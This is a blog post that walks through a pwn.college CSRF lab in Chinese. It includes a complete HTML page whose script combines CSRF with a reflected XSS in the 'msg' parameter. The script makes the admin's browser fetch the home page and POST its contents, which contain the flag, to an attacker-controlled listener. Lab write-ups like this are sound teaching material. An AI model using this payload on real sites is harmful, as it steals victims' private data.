CSRF-5

题目简介

这一关将不允许通过Javascript获取cookie,因为服务端对cookie设置了HTTPonly属性,该设置仅允许通过http请求传送cookie值,因此XSS将无法再获得admin的cookie

但是依然可以通过CSRF伪造admin用户的请求以泄露flag

漏洞点分析

依然是admin账户下面有flag,而ephemeral依然接收一个msg查询字符串,所以思路就是利用这个msg把admin导向首页,再把请求体发给我们的服务器

漏洞点利用

如下index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Attack</title>
<script>
var targetURL = 'http://challenge.localhost/ephemeral?msg=' + encodeURIComponent('<script>fetch("http://challenge.localhost/").then(response=>response.text()).then(flag=>fetch("http://localhost:12345",{method:"POST",body:flag}))<\/script>');
window.location.href = targetURL;
</script>
</head>
<body>
</body>
</html>

依次启动/server、python http.server和victim
然后还需要我们再去12345监听admin发回来的响应体,那里面就有flag


CSRF-5
http://0x4a-210.github.io/2025/07/18/pwn.college/Intro-to-Cybersecurity/Web/CSRF-5/
Posted on
July 18, 2025
Licensed under